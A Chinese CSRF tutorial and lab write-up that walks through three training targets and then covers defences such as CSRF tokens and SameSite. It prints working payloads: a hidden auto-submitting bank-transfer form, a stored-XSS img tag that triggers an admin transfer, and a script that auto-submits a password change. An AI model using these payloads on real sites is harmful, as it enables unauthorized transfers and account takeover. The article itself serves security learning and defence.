拓十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

杂记08 CSRF 跨站请求伪造

杂记08 CSRF 跨站请求伪造 CSRF 的本质只有一句话我让你已登录用户的浏览器替我发一个请求。本文按「原理 → GET/POST 两种类型 → 三个递进靶场 → XSS 对比 → 防御」组织靶场难度从 1 级递进到高阶。⚠️ 本文所有测试均在授权靶场中完成仅用于安全学习与防御研究请勿用于未授权目标。一、CSRF 核心原理1.1 什么是 CSRF全称Cross-Site Request Forgery跨站请求伪造定义攻击者诱导受害者进入第三方网站在第三方网站中向被攻击网站发送跨站请求。利用受害者在被攻击网站已获取的凭证Cookie绕过后台验证达到冒充用户执行操作的目的。翻译成大白话我不需要知道你的密码也不需要偷你的 Cookie。我只需要让你的浏览器用你已登录的身份替我把这个请求发出去。1.2 根因浏览器的自动带 Cookie机制这是理解 CSRF 的唯一关键点。只要用户登录过某网站浏览器就保存了该站的 Cookie。此后无论请求是从哪个页面发起的——哪怕发起方是一个完全无关的恶意网站——只要请求的目标域名是该网站浏览器都会自动在请求头里带上这个 Cookie。受害者在 bank.com 登录 → 浏览器存下 session Cookie ↓ 受害者访问 evil.com恶意站 ↓ evil.com 偷偷向 bank.com/transfer 发请求 ↓ 浏览器自动附上 bank.com 的 Cookie ← 服务器无法分辨这是不是本人操作 ↓ 银行验证 Cookie 有效 → 执行转账自动带 Cookie是浏览器的正常特性不是 Bug。正是它让 Web 会话机制得以工作也正因如此才有了 CSRF。1.3 漏洞成立的三个条件#条件说明1用户已登录目标站浏览器里存在有效的会话 Cookie2请求参数可预测敏感操作的参数是固定的没有不可预测的 Token3无二次验证操作不需要重新输入原密码、短信验证码等攻击侧的前提攻击者能构造恶意页面并让受害者访问它。 反过来看这三条就是防御的着手点加 Token、加二次验证、让浏览器不带 CookieSameSite。1.4 澄清为什么叫跨站因为请求的发起方恶意站evil.com与目标被攻击站bank.com不同站。⚠️本笔记靶场的一处简化为了演示方便靶场把恶意页面和被攻击系统放在了同一台主机上如/evil与/transfer。真实场景中恶意页面位于第三方域名。不过核心机制——浏览器自动带 Cookie——不受影响跨站照样成立。写真实 payload 的注意事项表单的action要写成绝对地址http://bank.com/transfer。靶场里写相对路径/transfer能通是因为恶意页和银行在同一主机真实跨站时相对路径会提交到恶意站自己攻击直接失败。1.5 GET 型与 POST 型三个靶场正好覆盖这两种类型类型参数位置利用标签触发方式GET 型URL 查询串img、iframe、script页面加载即自动发送无需交互POST 型请求体form JS 自动提交需构造表单并submit()二、靶场一CSRF 模拟演练场1 级 · 隐藏表单2.1 靶场信息项目值靶场名称CSRF 模拟演练场难度1 级入门考察点理解 CSRF 原理掌握基础的 CSRF 利用方式核心场景模拟银行转账系统 恶意中奖网站2.2 第一步抓包分析正常流程在银行系统/dashboard点击发起转账输入目标账号bob、金额100用 Burp Suite 抓下这个请求记录关键信息项目值请求方法POST请求 URL/transfer请求参数to_userbobamount100请求头Cookie: session...Referer为银行系统自身域名关键发现请求参数里没有 Token。参数完全可预测 → 存在 CSRF 漏洞。2.3 第二步构造恶意页面靶场提供了一个恶意网站路径/evil伪装成免费礼物网站。核心源码!-- 1. 隐藏的 CSRF 表单用户不可见 -- form idcsrf-form methodPOST action/transfer classhidden-form input typehidden nameto_user valuebob input typehidden nameamount value100 /form ​ !-- 2. 诱导用户点击的按钮 -- button onclickexecuteCSRF() classclaim-btn 立即领取奖金/button ​ !-- 3. 触发攻击的 JavaScript -- script function executeCSRF() { const resultDiv document.getElementById(attack-result); resultDiv.style.display block; resultDiv.innerHTML ...正在执行CSRF攻击...; ​ // 延迟 1 秒后自动提交隐藏表单 setTimeout(() { document.getElementById(csrf-form).submit(); }, 1000); } /script代码逻辑解析片段作用classhidden-form CSSdisplay:none让表单在页面上完全不可见action/transfer指向银行系统的转账接口methodPOSTinput typehidden把转账参数藏在请求体里执行流程用户点击按钮 → 触发executeCSRF()→ 延迟 1 秒 →form.submit()→ 浏览器自动带上银行系统的 Cookie。为什么要延迟 1 秒纯粹是视觉欺骗让受害者看到正在处理的提示。技术上可以立即提交也可以去掉按钮改成页面加载即自动提交。2.4 第三步抓包验证攻击效果用户点击恶意网站的按钮后Burp 里能看到POST /transfer HTTP/1.1 Host: hbc2.haobachang.com ... Referer: http://站点:端口/evil -- 关键证据请求来自恶意页面 Cookie: sessioneyJ1c2... -- 致命一击浏览器自动带上了登录凭证 Content-Type: application/x-www-form-urlencoded ​ to_userbobamount100响应结果HTTP/1.1 302 FOUND→Location: /dashboard服务器验证 Cookie 有效执行转账逻辑攻击成功。两个铁证Referer指向恶意页面、Cookie被浏览器自动携带——这就是 CSRF 的全部秘密。2.5 攻击链全景① 攻击者抓包摸清转账接口POST /transfer无 Token ↓ ② 在恶意页面埋一个隐藏表单参数写死为「给 bob 转 100」 ↓ ③ 诱导受害者访问恶意页面免费礼物网站 ↓ ④ 表单自动提交 → 浏览器自动附上 bank.com 的 Cookie ↓ ⑤ 服务器认为是本人操作 → 转账成功三、靶场二入门 CSRF2 级 · XSS GET 型组合拳这一关的精彩之处在于单纯 CSRF 打不通必须先把 XSS 当作跳板。3.1 环境与核心矛盾项目值技术栈PHP 7.4.27 Nginx 1.18.0初始账号user / password初始余额500 元Flag 售价1000 元可利用功能转账、给 admin 留言核心矛盾余额 500 售价 1000而且 user 自己也没钱可转。破局方向只有一个想办法花别人的钱。3.2 破局思路攻击链组合系统里有个给 admin 留言的功能通常是Bot 自动查看留言。这就打开了思路——借用 admin 的高权限步骤手段作用1. 入口留言板存在存储型 XSS未过滤 HTML/JS把代码塞进 admin 会看的页面2. 武器构造GET 型 CSRFpayload伪装成留言内容用 admin 的 Cookie 发起转账3. 触发adminBot查看留言时恶意 JS 自动执行攻击落地3.3 第一步抓包发现 GET 转账接口在 user 页面点击转账Burp 抓包GET /transfer.php?to_useruseramount10000 HTTP/1.1 Host: 站点:端口 Cookie: PHPSESSID...; session...结论转账接口是 GET 请求参数直接暴露在 URL 中且没有 CSRF Token。连表单都不用构造一个 URL 就能打完。3.4 第二步构造 XSS Payload利用img标签的src属性自动发起 GET 请求并用display:none让它不可见img srchttp://站点:端口/transfer.php?to_useruseramount10000 styledisplay:none;攻击原理admin 的浏览器加载这段 HTML 时会自动向src中的 URL 发起请求由于请求由admin 的浏览器发起自动携带了 admin 的 Cookie服务器验证 Cookie 有效 → 执行转账admin −10000user 100003.5 第三步触发管理员 Bot把上述 payload 填入给 admin 留言输入框并提交靶场后台启动Headless Browser无头浏览器以 admin 的登录状态访问留言页面Bot 解析到恶意img标签自动触发请求页面返回admin 已收到您的留言同时user 余额刷新为 10500 元3.6 第四步购买 Flag余额充足10500 1000点击购买 Flag通关。3.7 复盘XSS 与 CSRF 的分工漏洞作用在本靶场中的角色存储型 XSS在受害者浏览器中执行恶意 JS攻击入口通过留言板注入代码GET 型 CSRF利用受害者 Cookie 发起请求攻击载荷用img自动发起转账Bot 机制模拟管理员操作触发漏洞触发条件留言后 Bot 自动查看这一关的启示CSRF 单独使用时需要诱导点击而XSS 让这一步自动化了——admin 甚至什么都没点钱就没了。四、靶场三POST 型 CSRF 托管页面 定时 Bot4.1 环境与关键机制项目值初始账号user / user功能 1管理 HTML 页面允许提交任意 HTML保存为/static/poc.html功能 2修改密码敏感操作本次的攻击目标关键机制系统每 30 秒自动访问/static/poc.html模拟 admin 的 Bot 定时任务4.2 破局思路白送的恶意页面托管正常打 CSRF攻击者得自己搭个网站放恶意页面。而这一关的靶场自带 HTML 托管功能——等于白送一个攻击载体不用自己搭 VPS直接把 payload 写进靶场自己的/static/poc.html。等 Bot 来访问payload 自动执行。4.3 第一步抓包锁定攻击目标点击左侧菜单修改密码先正常改一次密码Burp 抓包关键发现项目值请求方法POST不能用img必须构造表单请求 URL/change_password请求参数new_password123456CSRF Token无→ 存在漏洞响应状态码302修改成功后重定向4.4 第二步构造自动提交的 POST 表单用 JavaScript 动态创建并提交表单!DOCTYPE html html head title密码修改/title /head body script // 页面加载后自动提交 POST 请求 window.onload function() { const url /change_password; ​ // 创建表单 const form document.createElement(form); form.method POST; form.action url; form.style.display none; ​ // 添加密码字段 const input document.createElement(input); input.type hidden; input.name new_password; input.value 123456; ​ form.appendChild(input); document.body.appendChild(form); ​ // 提交表单 form.submit(); }; /script p正在提交密码修改请求请稍候.../p /body /html三种自动提交写法对比写法特点window.onload 动态建 form submit()本靶场用法最灵活适合注入场景body onloaddocument.forms[0].submit()最短但表单必须已写在 HTML 里form静态写死 scriptform.submit()/script简单直接4.5 第三步提交 Payload 并等待 Bot把上述 HTML 粘贴到管理 HTML 页面并提交代码被写入/static/poc.html等待 30 秒以上让靶场的定时任务访问该页面Bot 的浏览器解析script自动向/change_password发送 POST 请求关键因为是 Bot 发起的请求浏览器自动带上了admin 的 Cookie服务器验证通过 →admin 的密码被改成1234564.6 第四步验证攻击并获取 Flag退出user账号用admin / 123456登录登录成功 → 拿到 Flag4.7 复盘这是一次盲打攻击者看不到 Bot 发出的请求也无法直接读取响应只能通过结果能否用新密码登录成功来验证攻击是否得手。这是 CTF 靶场中非常常见的盲打模式和 SQL 盲注的思路一致没有直接回显时就找一个可观察的副作用来推断结果。五、XSS 与 CSRF 的区别这两个漏洞经常被混为一谈其实差别很大。5.1 两个比喻XSS 小偷亲自溜进你家小偷趁你不注意溜进你家网站躲进衣柜网页代码。等你回家打开网页他就穿着你的衣服、用你的手机、花你的钱。CSRF 骗子冒充你去银行签字骗子伪造了一张你的签名请求骗银行柜员服务器说这是你本人要转账。柜员一看签名Cookie是真的就把钱转走了——而你根本不知道这件事。5.2 一句话区分XSS 是我在你的浏览器里执行代码。CSRF 是我让你的浏览器替我发请求。5.3 核心区别对照表维度XSS跨站脚本CSRF跨站请求伪造攻击目标用户偷用户的数据服务器骗服务器执行操作利用的信任网站信任用户输入的内容网站信任用户浏览器带来的Cookie攻击者要做什么往网页里注入恶意 JS 代码构造一个伪造请求的页面 / 链接受害者要做什么只要打开网页就中招需要访问恶意页面或点击链接能偷到 Cookie 吗✅能这是 XSS 的主要目标❌不能只是借用Cookie 发请求典型危害盗号、篡改网页、窃取隐私转账、改密码、发帖、关注防御核心输出编码CSRF Token / SameSite 最容易记混的一点CSRF 偷不到 Cookie。它不需要知道 Cookie 的内容只是借着浏览器会自动携带 Cookie 这个特性把请求发出去。5.4 组合拳为什么最危险组合效果纯 CSRF需要诱导受害者点击链接或访问页面依赖社工XSS CSRFXSS 让请求自动发出受害者毫无感知无需社工本笔记的靶场二就是标准范例XSS 负责把代码送进去CSRF 负责用管理员权限干坏事。六、防御总览6.1 按强度排序的防御措施措施原理强度CSRF Token表单里带一个随机、不可预测的 Token后端校验⭐最主流SameSite Cookie跨站请求不带 Cookie⭐ 浏览器层兜底二次验证敏感操作要求重新输密码 / 短信码很强验证旧密码改密码时强制输入原密码该场景几乎无敌校验 Origin / Referer拒绝非本站来源的请求辅助敏感操作改用 POST抬高利用门槛还要校验Content-Type辅助CSRF Token 的实现要点// 1. 生成并存进 session每个会话一个或每次请求一个 $_SESSION[csrf_token] bin2hex(random_bytes(32)); ​ // 2. 表单里带上它 // input typehidden namecsrf_token value? $_SESSION[csrf_token] ? ​ // 3. 后端校验用 hash_equals 做恒定时间比较防时序攻击 if (!hash_equals($_SESSION[csrf_token], $_POST[csrf_token] ?? )) { http_response_code(403); exit(CSRF token 校验失败); } 为什么 Token 有效因为恶意网站受同源策略限制读不到目标站的页面内容自然拿不到 Token。6.2 重要细节SameSite 不是万能的现代浏览器默认SameSiteLax它的行为需要精确理解请求场景SameSiteLax下是否带 Cookie跨站POST表单提交❌ 不带跨站子资源请求img、iframe、script❌ 不带跨站顶级 GET 导航用户点击链接跳转✅仍然带两个直接推论靶场二那种img型 GET CSRF会被Lax挡掉属于子资源请求但如果换成诱导用户点击链接a hrefhttp://bank.com/transfer?to_userattackeramount1000点击领取奖励/aLax挡不住——顶级导航会带 Cookie⚠️结论SameSite不是银弹。敏感操作必须改成 POST再配合 Token 才稳妥。GET 型接口天然更容易被 CSRF。6.3 周边防御别忽视方向措施修复 XSS对用户输入做 HTML 实体编码。否则 XSS 会成为 CSRF 的跳板靶场二就是教训HTML 托管类功能严格过滤script、form等危险标签并配置 CSP 禁止内联脚本权限隔离管理员查看用户内容时应在沙箱或独立浏览器中进行避免带着高权限 Cookie 直接访问用户提交的内容最小权限管理员账号不应拥有直接转账权限或必须二次验证6.4 延伸JSON 型 CSRF情况是否可利用接口严格要求Content-Type: application/json❌ 较难。HTML 表单发不出这个 Content-Type服务端接受text/plain却按 JSON 解析⚠️ 可被利用CORS 配置不当如Access-Control-Allow-Origin: *且允许携带凭证⚠️ 可被利用 老资料里常提JSON 型 CSRF 需要配合 Flash但Flash 已于 2020 年停止支持现在不必再考虑这条路径。七、总结7.1 三个靶场串起来看靶场难度类型攻击链CSRF 模拟演练场1 级POST 型隐藏表单 诱导点击入门 CSRF2 级GET 型 XSS存储型 XSS 注入留言板 → Bot 触发 →img发起转账POST-CSRF 入门高阶POST 型 Bot靶场自带 HTML 托管 → 定时 Bot 访问 → 自动提交改密表单递进关系从需要诱导点击→XSS 自动触发→托管页面 定时 Bot 全自动攻击者的介入越来越少。7.2 一句话收尾CSRF 就是借用你的身份替你做决定。防御的核心让攻击者伪造的请求无法通过服务器的校验。CSRF Token 是主力SameSite 是兜底敏感操作必须用 POST。
返回列表